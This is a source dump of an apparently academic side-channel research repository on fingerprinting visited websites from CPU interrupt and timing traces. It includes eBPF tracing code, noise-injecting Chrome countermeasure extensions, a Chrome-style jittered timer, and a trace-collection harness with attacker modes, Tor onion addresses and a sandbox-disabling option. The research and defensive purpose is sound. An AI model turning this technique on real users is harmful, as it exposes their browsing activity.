.attach(&mut module) 144 | .expect("failed to attach tracepoint"); 145 | 146 | bcc::Tracepoint::new() 147 | .handler("tracepoint__syscalls__sys_enter_clock_gettime") 148 | .subsystem("syscalls") 149 | .tracepoint("sys_enter_clock_gettime") 150 | .attach(&mut module) 151 | .expect("failed to attach tracepoint"); 152 | 153 | bcc::Tracepoint::new() 154 | .handler("tracepoint__exceptions__page_fault_user") 155 | .subsystem("exceptions") 156 | .tracepoint("page_fault_user") 157 | .attach(&mut module) 158 | .expect("failed to attach tracepoint"); 159 | 160 | bcc::Tracepoint::new() 161 | .handler("tracepoint__exceptions__page_fault_kernel") 162 | .subsystem("exceptions") 163 | .tracepoint("page_fault_kernel") 164 | .attach(&mut module) 165 | .expect("failed to attach tracepoint"); 166 | 167 | for interrupt in [ 168 | "generic_handle_irq", 169 | "__sysvec_apic_timer_interrupt", 170 | "__sysvec_spurious_apic_interrupt", 171 | "__sysvec_call_function", 172 | "__sysvec_call_function_single", 173 | "__sysvec_x86_platform_ipi", 174 | "__sysvec_thermal", 175 | "__sysvec_irq_work", 176 | "__sysvec_deferred_error", 177 | "__sysvec_threshold", 178 | "__sysvec_irq_move_cleanup", 179 | "__sysvec_error_interrupt", 180 | // "__do_softirq", 181 | // "irqtime_account_irq", 182 | ] { 183 | bcc::Kprobe::new() 184 | .handler(interrupt) 185 | .function(interrupt) 186 | .attach(&mut module) 187 | .unwrap(); 188 | } 189 | 190 | let table = module.table("interrupts").expect("failed to get table"); 191 | 192 | let start_time = time(); 193 | let end_time = start_time + opt.timeout.unwrap_or(5000) * 1000000; 194 | 195 | let mut t = start_time; 196 | while t < end_time { 197 | let t2 = time(); 198 | if t2 - t > opt.ns_threshold.unwrap_or(500) { 199 | gaps.push((t - start_time, t2 - t)); 200 | t = time(); 201 | } else { 202 | t = t2; 203 | } 204 | } 205 | 206 | let mut counts = BTreeMap::new(); 207 | let mut irq_times = Vec::new(); 208 | for e in &table { 209 | let key = Cursor::new(e.key).read_u64::().unwrap(); 210 | let value = Cursor::new(e.value).read_i32::().unwrap(); 211 | if key > start_time && key < t { 212 | irq_times.push((key - start_time, value)); 213 | *counts.entry(value).or_insert(0) += 1; 214 | } 215 | } 216 | 217 | irq_times.sort_by_key(|(t, _)| *t); 218 | 219 | eprintln!("{:#?}", counts); 220 | 221 | let mut gap_sequence: BTreeMap<_, Vec<_>> = BTreeMap::new(); 222 | 223 | let total_gaps = gaps.len(); 224 | let mut explained_gaps = 0; 225 | 226 | for (start, length) in gaps { 227 | let irq_index = irq_times.binary_search_by(|(t, _kind)| { 228 | if *t < start - 150 { 229 | std::cmp::Ordering::Less 230 | } else if *t > start + length + 150 { 231 | std::cmp::Ordering::Greater 232 | } else { 233 | std::cmp::Ordering::Equal 234 | } 235 | }); 236 | 237 | if let Ok(irq_index) = irq_index { 238 | let (t, kind) = irq_times[irq_index]; 239 | gap_sequence.entry(kind).or_default().push(t); 240 | explained_gaps += 1; 241 | } 242 | } 243 | 244 | println!("{:.2}", explained_gaps as f32 / total_gaps as f32 * 100.0); 245 | for (kind, gaps) in gap_sequence { 246 | print!("{}", kind); 247 | for g in gaps { 248 | print!(" {}", g); 249 | } 250 | println!(); 251 | } 252 | eprintln!("{}/{}", irq_times.len(), total_gaps); 253 | } 254 | -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/extensions/cache.crx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/extensions/cache.crx -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/extensions/cache/background.js: -------------------------------------------------------------------------------- 1 | const domains = [ 2 | "https://www.google.com/", 3 | "https://www.youtube.com/", 4 | "https://www.tmall.com/", 5 | "https://www.qq.com/", 6 | "https://www.baidu.com/", 7 | "https://www.sohu.com/", 8 | "https://www.facebook.com/", 9 | "https://www.taobao.com/", 10 | "https://www.jd.com/", 11 | "https://www.amazon.com/", 12 | "https://www.yahoo.com/", 13 | "https://www.wikipedia.org/", 14 | "https://www.weibo.com/", 15 | "https://sina.com.cn/", 16 | "https://www.zoom.us/", 17 | "http://www.xinhuanet.com/", 18 | "https://www.live.com/", 19 | "https://www.reddit.com/", 20 | "https://www.netflix.com/", 21 | "https://www.microsoft.com/", 22 | "https://www.instagram.com/", 23 | "https://www.office.com/", 24 | "https://panda.tv/", 25 | "https://www.zhanqi.tv/", 26 | "https://www.alipay.com/", 27 | "https://www.bing.com/", 28 | "https://www.csdn.net/", 29 | "https://www.vk.com/", 30 | "https://www.myshopify.com/", 31 | "https://www.naver.com/", 32 | "https://www.okezone.com/", 33 | "https://www.twitch.tv/", 34 | "https://www.twitter.com/", 35 | "https://www.ebay.com/", 36 | "https://www.adobe.com/", 37 | "https://www.tianya.cn/", 38 | "https://www.huanqiu.com/", 39 | "https://www.yy.com/", 40 | "https://www.aliexpress.com/", 41 | "https://www.linkedin.com/", 42 | "https://www.force.com/", 43 | "https://www.aparat.com/", 44 | "https://www.mail.ru/", 45 | "https://www.msn.com/", 46 | "https://www.dropbox.com/", 47 | "https://www.whatsapp.com/", 48 | "https://www.apple.com/", 49 | "https://www.1688.com/", 50 | "https://www.wordpress.com/", 51 | "https://www.canva.com/", 52 | "https://www.indeed.com/", 53 | "https://www.stackoverflow.com/", 54 | "https://www.ok.ru/", 55 | "https://www.so.com/", 56 | "https://www.chase.com/", 57 | "https://www.imdb.com/", 58 | "https://www.slack.com/", 59 | "https://www.etsy.com/", 60 | "https://www.tiktok.com/", 61 | "https://www.booking.com/", 62 | "https://www.babytree.com/", 63 | "https://rakuten.co.jp/", 64 | "https://www.salesforce.com/", 65 | "https://www.spotify.com/", 66 | "https://www.tribunnews.com/", 67 | "https://www.fandom.com/", 68 | "https://www.tradingview.com/", 69 | "https://www.github.com/", 70 | "https://www.haosou.com/", 71 | "https://www.paypal.com/", 72 | "https://www.cnblogs.com/", 73 | "https://www.alibaba.com/", 74 | "https://www.kompas.com/", 75 | "https://gome.com.cn/", 76 | "https://www.walmart.com/", 77 | "https://www.roblox.com/", 78 | "https://www.6.cn/", 79 | "https://www.zillow.com/", 80 | "https://www.godaddy.com/", 81 | "https://www.imgur.com/", 82 | "https://www.espn.com/", 83 | "https://www.bbc.com/", 84 | "https://www.hao123.com/", 85 | "https://www.pikiran-rakyat.com/", 86 | "https://www.grammarly.com/", 87 | "https://www.cnn.com/", 88 | "https://www.telegram.org/", 89 | "https://www.tumblr.com/", 90 | "https://www.nytimes.com/", 91 | "https://www.detik.com/", 92 | "https://www.wetransfer.com/", 93 | "https://www.savefrom.net/", 94 | "https://www.rednet.cn/", 95 | "https://www.freepik.com/", 96 | "https://www.ilovepdf.com/", 97 | "https://www.daum.net/", 98 | "https://www.pinterest.com/", 99 | "https://www.primevideo.com/", 100 | "https://www.intuit.com/", 101 | "https://www.medium.com/", 102 | ]; 103 | 104 | const loadTime = 15000; 105 | let loading = false; 106 | let startTime = 0; 107 | 108 | const L3_SIZE = 6 * 1024 * 1024; 109 | const M = new Int32Array(L3_SIZE / 4); 110 | M.fill(-1, 0, M.length); 111 | 112 | chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => { 113 | if (changeInfo.status === "loading") { 114 | if (loading) { 115 | return; 116 | } 117 | 118 | startTime = performance.now(); 119 | loading = true; 120 | 121 | while (performance.now() - startTime < loadTime) { 122 | // Access entire LLC 123 | let val = 0; 124 | for (let i = 0; i < M.length / 16; i++) { 125 | val = M[i * 16]; 126 | } 127 | } 128 | } else if (changeInfo.status === "complete") { 129 | loading = false; 130 | } 131 | }); 132 | -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/extensions/cache/manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Cache countermeasure", 3 | "version": "1.0", 4 | "manifest_version": 3, 5 | "background": { 6 | "service_worker": "background.js" 7 | }, 8 | "action": {}, 9 | "host_permissions": ["*://*/*"] 10 | } 11 | -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/extensions/interrupts.crx: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/extensions/interrupts.crx -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/extensions/interrupts/background.js: -------------------------------------------------------------------------------- 1 | const domains = [ 2 | "https://www.google.com/", 3 | "https://www.youtube.com/", 4 | "https://www.tmall.com/", 5 | "https://www.qq.com/", 6 | "https://www.baidu.com/", 7 | "https://www.sohu.com/", 8 | "https://www.facebook.com/", 9 | "https://www.taobao.com/", 10 | "https://www.jd.com/", 11 | "https://www.amazon.com/", 12 | "https://www.yahoo.com/", 13 | "https://www.wikipedia.org/", 14 | "https://www.weibo.com/", 15 | "https://sina.com.cn/", 16 | "https://www.zoom.us/", 17 | "http://www.xinhuanet.com/", 18 | "https://www.live.com/", 19 | "https://www.reddit.com/", 20 | "https://www.netflix.com/", 21 | "https://www.microsoft.com/", 22 | "https://www.instagram.com/", 23 | "https://www.office.com/", 24 | "https://panda.tv/", 25 | "https://www.zhanqi.tv/", 26 | "https://www.alipay.com/", 27 | "https://www.bing.com/", 28 | "https://www.csdn.net/", 29 | "https://www.vk.com/", 30 | "https://www.myshopify.com/", 31 | "https://www.naver.com/", 32 | "https://www.okezone.com/", 33 | "https://www.twitch.tv/", 34 | "https://www.twitter.com/", 35 | "https://www.ebay.com/", 36 | "https://www.adobe.com/", 37 | "https://www.tianya.cn/", 38 | "https://www.huanqiu.com/", 39 | "https://www.yy.com/", 40 | "https://www.aliexpress.com/", 41 | "https://www.linkedin.com/", 42 | "https://www.force.com/", 43 | "https://www.aparat.com/", 44 | "https://www.mail.ru/", 45 | "https://www.msn.com/", 46 | "https://www.dropbox.com/", 47 | "https://www.whatsapp.com/", 48 | "https://www.apple.com/", 49 | "https://www.1688.com/", 50 | "https://www.wordpress.com/", 51 | "https://www.canva.com/", 52 | "https://www.indeed.com/", 53 | "https://www.stackoverflow.com/", 54 | "https://www.ok.ru/", 55 | "https://www.so.com/", 56 | "https://www.chase.com/", 57 | "https://www.imdb.com/", 58 | "https://www.slack.com/", 59 | "https://www.etsy.com/", 60 | "https://www.tiktok.com/", 61 | "https://www.booking.com/", 62 | "https://www.babytree.com/", 63 | "https://rakuten.co.jp/", 64 | "https://www.salesforce.com/", 65 | "https://www.spotify.com/", 66 | "https://www.tribunnews.com/", 67 | "https://www.fandom.com/", 68 | "https://www.tradingview.com/", 69 | "https://www.github.com/", 70 | "https://www.haosou.com/", 71 | "https://www.paypal.com/", 72 | "https://www.cnblogs.com/", 73 | "https://www.alibaba.com/", 74 | "https://www.kompas.com/", 75 | "https://gome.com.cn/", 76 | "https://www.walmart.com/", 77 | "https://www.roblox.com/", 78 | "https://www.6.cn/", 79 | "https://www.zillow.com/", 80 | "https://www.godaddy.com/", 81 | "https://www.imgur.com/", 82 | "https://www.espn.com/", 83 | "https://www.bbc.com/", 84 | "https://www.hao123.com/", 85 | "https://www.pikiran-rakyat.com/", 86 | "https://www.grammarly.com/", 87 | "https://www.cnn.com/", 88 | "https://www.telegram.org/", 89 | "https://www.tumblr.com/", 90 | "https://www.nytimes.com/", 91 | "https://www.detik.com/", 92 | "https://www.wetransfer.com/", 93 | "https://www.savefrom.net/", 94 | "https://www.rednet.cn/", 95 | "https://www.freepik.com/", 96 | "https://www.ilovepdf.com/", 97 | "https://www.daum.net/", 98 | "https://www.pinterest.com/", 99 | "https://www.primevideo.com/", 100 | "https://www.intuit.com/", 101 | "https://www.medium.com/", 102 | ]; 103 | 104 | const loadTime = 15000; 105 | let loading = false; 106 | let startTime = 0; 107 | 108 | function randomPing() { 109 | const controller = new AbortController(); 110 | const id = setTimeout( 111 | () => controller.abort(), 112 | loadTime - (performance.now() - startTime) 113 | ); 114 | 115 | fetch( 116 | domains[Math.floor(Math.random() * domains.length)] + 117 | "?" + 118 | new Date().getTime(), 119 | { 120 | signal: controller.signal, 121 | } 122 | ); 123 | } 124 | 125 | function activityBurst() { 126 | switch (Math.floor(Math.random() * 2)) { 127 | case 0: 128 | let start = performance.now(); 129 | let counter = 0; 130 | 131 | while (performance.now() - start < 5) { 132 | counter += 1; 133 | } 134 | 135 | console.log(counter); 136 | break; 137 | case 1: 138 | randomPing(); 139 | break; 140 | } 141 | } 142 | 143 | chrome.tabs.onUpdated.addListener((tabId, changeInfo, tab) => { 144 | if (changeInfo.status === "loading") { 145 | if (loading) { 146 | return; 147 | } 148 | 149 | startTime = performance.now(); 150 | loading = true; 151 | 152 | for (let i = 0; i < 20; i++) { 153 | randomPing(); 154 | } 155 | 156 | for (let i = 0; i < loadTime / 10; i++) { 157 | setTimeout(activityBurst, Math.random() * loadTime); 158 | } 159 | } else if (changeInfo.status === "complete") { 160 | loading = false; 161 | } 162 | }); 163 | -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/extensions/interrupts/manifest.json: -------------------------------------------------------------------------------- 1 | { 2 | "name": "Interrupts countermeasure", 3 | "version": "1.0", 4 | "manifest_version": 3, 5 | "background": { 6 | "service_worker": "background.js" 7 | }, 8 | "action": {}, 9 | "host_permissions": ["*://*/*"] 10 | } 11 | -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/lib/timer.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | static const uint64_t c1 = 0xFF51AFD7ED558CCD; 7 | static const uint64_t c2 = 0xC4CEB9FE1A85EC53; 8 | 9 | static const uint64_t kMantissaMask = 0x000FFFFFFFFFFFFF; 10 | static const uint64_t kExponentBits = 0x3FF0000000000000; 11 | 12 | static const uint64_t secret = 0x7CAD93BF4A120ED1; 13 | 14 | double timeResolutionSeconds = 1e-4; 15 | bool enableJitter = true; 16 | 17 | typedef union 18 | { 19 | uint64_t i; 20 | double d; 21 | } u; 22 | 23 | uint64_t bit_cast_to_int(double x) 24 | { 25 | u u1; 26 | u1.d = x; 27 | return u1.i; 28 | } 29 | 30 | double bit_cast_to_double(uint64_t x) 31 | { 32 | u u1; 33 | u1.i = x; 34 | return u1.d; 35 | } 36 | 37 | uint64_t murmur_hash_3(uint64_t value) 38 | { 39 | value ^= value >> 33; 40 | value *= c1; 41 | value ^= value >> 33; 42 | value *= c2; 43 | value ^= value >> 33; 44 | return value; 45 | } 46 | 47 | double to_double(uint64_t value) 48 | { 49 | uint64_t random = (value & kMantissaMask) | kExponentBits; 50 | return bit_cast_to_double(random) - 1; 51 | } 52 | 53 | double threshold_for(double clamped_time) 54 | { 55 | uint64_t time_hash = murmur_hash_3(bit_cast_to_int(clamped_time) ^ secret); 56 | return clamped_time + timeResolutionSeconds * to_double(time_hash); 57 | } 58 | 59 | double clamp_time_resolution(double time_seconds) 60 | { 61 | double clamped_time = 62 | floor(time_seconds / timeResolutionSeconds) * timeResolutionSeconds; 63 | 64 | if (enableJitter) 65 | { 66 | double tick_threshold = threshold_for(clamped_time); 67 | 68 | if (time_seconds >= tick_threshold) 69 | return clamped_time + timeResolutionSeconds; 70 | } 71 | 72 | return clamped_time; 73 | } 74 | 75 | void configure_timer(double resolution, bool use_jitter) 76 | { 77 | timeResolutionSeconds = resolution; 78 | enableJitter = use_jitter; 79 | } 80 | 81 | double timer() 82 | { 83 | struct timespec time; 84 | clock_gettime(CLOCK_REALTIME, &time); 85 | double time_seconds = time.tv_sec + time.tv_nsec / 1e9; 86 | return clamp_time_resolution(time_seconds); 87 | } -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/plot/amazon.com0.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/amazon.com0.jpg -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/plot/amazon.com1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/amazon.com1.jpg -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/plot/amazon.com2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/amazon.com2.jpg -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/plot/amazon.com3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/amazon.com3.jpg -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/plot/amazon.com4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/amazon.com4.jpg -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/plot/amazon.com5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/amazon.com5.jpg -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/plot/amazon.com6.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/amazon.com6.jpg -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/plot/cat.py: -------------------------------------------------------------------------------- 1 | import pickle 2 | import sys 3 | import matplotlib.pyplot as plt 4 | import numpy as np 5 | import argparse 6 | import pickle 7 | import os 8 | import warnings 9 | path=sys.argv[1] 10 | print(path) 11 | if os.path.isdir(path): 12 | # If directory, find all .pkl files 13 | filepaths = [os.path.join(path, x) for x in os.listdir(path) if x.endswith(".pkl")] 14 | elif os.path.isfile(path): 15 | # If single file, just use this one 16 | filepaths = [path] 17 | else: 18 | raise RuntimeError 19 | 20 | for file in filepaths: 21 | f = open(file, "rb") 22 | i=0 23 | 24 | while True: 25 | try: 26 | data = pickle.load(f) 27 | traces_i, labels_i = data[0], data[1] 28 | traces_i=np.array(traces_i) 29 | x=np.arange(0,traces_i.shape[1],1) 30 | plt.scatter(x,traces_i,s=2) 31 | plt.savefig(path+'/'+labels_i[12:]+str(i)+'.jpg') 32 | i+=1; 33 | except EOFError: 34 | break 35 | 36 | 37 | -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/plot/nytimes.com0.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/nytimes.com0.jpg -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/plot/nytimes.com1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/nytimes.com1.jpg -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/plot/nytimes.com2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/nytimes.com2.jpg -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/plot/nytimes.com3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/nytimes.com3.jpg -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/plot/nytimes.com4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/nytimes.com4.jpg -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/plot/nytimes.com5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/nytimes.com5.jpg -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/plot/nytimes.com6.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/nytimes.com6.jpg -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/plot/tiktok.com0.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/tiktok.com0.jpg -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/plot/tiktok.com1.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/tiktok.com1.jpg -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/plot/tiktok.com2.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/tiktok.com2.jpg -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/plot/tiktok.com3.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/tiktok.com3.jpg -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/plot/tiktok.com4.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/tiktok.com4.jpg -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/plot/tiktok.com5.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/tiktok.com5.jpg -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/plot/tiktok.com6.jpg: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/zhangxin00/segscope/d9c81eb326ab2310bc2b730b3775529af5238741/E1-Fingerprinting_Websites/plot/tiktok.com6.jpg -------------------------------------------------------------------------------- /E1-Fingerprinting_Websites/record_data.py: -------------------------------------------------------------------------------- 1 | import os 2 | 3 | if "DISPLAY" not in os.environ: 4 | # Start selenium on main display if starting experiment over SSH 5 | os.environ["DISPLAY"] = ":0" 6 | 7 | from enum import Enum 8 | 9 | import argparse 10 | import ctypes 11 | import json 12 | import logging 13 | import math 14 | import os 15 | import pickle 16 | import queue 17 | import requests 18 | import shutil 19 | import signal 20 | import subprocess 21 | import sys 22 | import threading 23 | import time 24 | from ctypes import * 25 | import os 26 | 27 | from drivers import LinksDriver, RemoteDriver, SafariDriver 28 | 29 | from flask import Flask, send_from_directory 30 | from requests.exceptions import ConnectionError, ContentDecodingError, ReadTimeout, TooManyRedirects 31 | from selenium import webdriver 32 | from selenium.common.exceptions import InvalidSessionIdException, TimeoutException 33 | from selenium.webdriver.chrome.options import Options 34 | from tqdm import tqdm, trange 35 | from urllib3.exceptions import MaxRetryError, ProtocolError 36 | 37 | import pandas as pd 38 | 39 | class Browser(Enum): 40 | CHROME = "chrome" 41 | CHROME_HEADLESS = "chrome_headless" 42 | FIREFOX = "firefox" 43 | SAFARI = "safari" 44 | LINKS = "links" 45 | REMOTE = "remote" 46 | TOR_BROWSER = "tor_browser" 47 | 48 | def __str__(self): 49 | return self.name.lower() 50 | 51 | def get_new_tab_url(self): 52 | if self == Browser.CHROME or self == Browser.CHROME_HEADLESS: 53 | return "chrome://new-tab-page" 54 | elif self == Browser.FIREFOX: 55 | return "about:home" 56 | elif self == Browser.SAFARI: 57 | return "favorites://" 58 | elif self == Browser.LINKS: 59 | raise NotImplementedError() 60 | elif self == Browser.REMOTE: 61 | return "biggerfish://new-tab" 62 | elif self == Browser.TOR_BROWSER: 63 | return "about:blank" 64 | 65 | parser = argparse.ArgumentParser(description='Automate the collection of browser-based CPU traces.') 66 | parser.add_argument("--browser", type=Browser, choices=list(Browser), default="chrome", help="The browser to use for the victim process.") 67 | parser.add_argument("--num_runs", type=int, default=100) 68 | parser.add_argument("--attacker_type", type=str, choices=["javascript", "javascript_cache", "counter", "ebpf","tick"], default="tick") 69 | parser.add_argument("--javascript_attacker_type", type=str, choices=["ours", "cache"], default="ours") 70 | parser.add_argument("--trace_length", type=int, default=15, help="The length of each recorded trace, in seconds.") 71 | parser.add_argument("--sites_list", type=str, default="alexa100", help="The list of sites to use. If using top n U.S. Alexa sites, should be alexan, where n >= 1.") 72 | parser.add_argument("--receiver_ip", type=str, default="0.0.0.0", help="The address of the receiver, if we're using one.") 73 | parser.add_argument("--receiver_port", type=int, default=1234, help="The port of the receiver, if we're using one.") 74 | parser.add_argument("--out_directory", type=str, default="data", help="The output directory name.") 75 | parser.add_argument("--timer_resolution", type=float, default=None, help="Resolution of the timer during counter attacks. e.g. if set to 0.001, rounds to nearest millisecond.") 76 | parser.add_argument("--enable_timer_jitter", type=bool, default=False, help="True if we want to enable Chrome's jitter algorithm during counter attacks.") 77 | parser.add_argument("--twilio_interval", type=float, default=0.1, help="Interval at which to send updates with Twilio. e.g. if set to 0.1, will send a text each time another 10%% of the traces are collected. Set to 0 to disable.") 78 | parser.add_argument("--overwrite", type=bool, default=False, help="True if we want to overwrite the output directory.") 79 | parser.add_argument("--disable_chrome_sandbox", type=bool, default=False, help="True if we want to disable Chrome's sandbox. browser must be set to chrome or chrome_headless.") 80 | parser.add_argument("--tor_browser_path", type=str, help="Path to the Tor Browser bundle. browser must be set to tor_browser.") 81 | parser.add_argument("--tor_onion_address", type=str, help="Onion address to use to access attacker over Tor.") 82 | parser.add_argument("--enable_cache_countermeasure", type=bool, default=False, help="True if we want to enable the cache countermeasure Chrome extension.") 83 | parser.add_argument("--enable_interrupts_countermeasure", type=bool, default=False, help="True if we want to enable the interrupts countermeasure Chrome extension.") 84 | parser.add_argument("--enable_timer_countermeasure", type=bool, default=False, help="True if we want to enable the randomized timer countermeasure.") 85 | parser.add_argument("--chrome_binary_path", type=str, default=None, help="Path to a directory containing chrome and chromedriver binaries, if desired.") 86 | parser.add_argument("--ebpf_ns_threshold", type=int, default=500, help="Minimum gap duration to record interrupts with eBPF tool.") 87 | opts = parser.parse_args() 88 | 89 | if opts.sites_list == "open_world" and opts.num_runs != 1: 90 | print("If sites_list = open_world, num_runs must equal 1.") 91 | sys.exit(1) 92 | 93 | if opts.disable_chrome_sandbox and opts.browser != Browser.CHROME and opts.browser != Browser.CHROME_HEADLESS: 94 | print("You can't set disable_chrome_sandbox to true unless browser is chrome or chrome_headless.") 95 | sys.exit(1) 96 | 97 | if opts.browser == Browser.REMOTE and (opts.receiver_ip is None or opts.receiver_port is None): 98 | print("If browser is remote, must pass receiver_ip and receiver_port.") 99 | sys.exit(1) 100 | 101 | if opts.attacker_type == "ebpf": 102 | # Get root access before running rest of the script 103 | subprocess.call(["sudo", "whoami"], stdout=subprocess.PIPE) 104 | 105 | if (opts.tor_browser_path is not None or opts.tor_onion_address is not None) and opts.browser != Browser.TOR_BROWSER: 106 | print("You can't set tor_browser_path or tor_onion_address without setting browser to tor_browser.") 107 | sys.exit(1) 108 | 109 | if opts.browser == Browser.TOR_BROWSER and (opts.tor_browser_path is None or opts.tor_onion_address is None): 110 | print("If browser is tor_browser, tor_browser_path and tor_onion_address must be set.") 111 | sys.exit(1) 112 | 113 | if opts.enable_timer_jitter and opts.timer_resolution is None: 114 | print("If enable_timer_jitter is true, timer_resolution must be set.") 115 | sys.exit(1) 116 | 117 | if opts.timer_resolution is not None and not os.path.exists(os.path.join("lib", "libtimer.so")): 118 | print("libtimer.so needs to be compiled. Run:") 119 | print("cc -fPIC -shared -o lib/libtimer.so lib/timer.c") 120 | sys.exit(1) 121 | 122 | if opts.enable_timer_countermeasure and opts.attacker_type != "javascript": 123 | print("If enable_timer_countermeasure is true, attacker_type must be set to javascript.") 124 | sys.exit(1) 125 | 126 | def confirm(prompt): 127 | response = input(f"{prompt} [y/N] ") 128 | 129 | if "y" not in response.lower(): 130 | sys.exit(1) 131 | 132 | remote_driver = None 133 | 134 | if opts.timer_resolution is not None: 135 | c_lib = ctypes.CDLL(os.path.join(os.getcwd(), "lib", "libtimer.so")) 136 | c_lib.configure_timer.argtypes = [ctypes.c_double, ctypes.c_bool] 137 | c_lib.configure_timer(opts.timer_resolution, opts.enable_timer_jitter) 138 | c_lib.timer.restype = ctypes.c_double 139 | 140 | 141 | def get_attacker_url(): 142 | if opts.browser == Browser.TOR_BROWSER: 143 | if not opts.tor_onion_address.startswith("http://"): 144 | return f"http://{opts.tor_onion_address}" 145 | 146 | return opts.tor_onion_address 147 | else: 148 | return "http://localhost:1234" 149 | 150 | def get_driver(browser): 151 | global remote_driver 152 | 153 | if browser == Browser.LINKS: 154 | return LinksDriver() 155 | elif browser == Browser.REMOTE: 156 | if remote_driver is None: 157 | remote_driver = RemoteDriver(opts.receiver_ip, opts.receiver_port) 158 | 159 | return remote_driver 160 | if browser == Browser.SAFARI: 161 | return SafariDriver(get_attacker_url()) 162 | elif browser == Browser.TOR_BROWSER: 163 | from tbselenium.tbdriver import TorBrowserDriver 164 | #print(opts.tor_browser_path) 165 | return TorBrowserDriver(executable_path="/home/xin/geckodriver",tbb_path=opts.tor_browser_path,default_bridge_type='meek_lite') 166 | 167 | 168 | driver_cls = getattr(webdriver, browser.name[0] + browser.name[1:].split("_")[0].lower()) 169 | 170 | if browser == Browser.CHROME or browser == Browser.CHROME_HEADLESS: 171 | chrome_opts = Options() 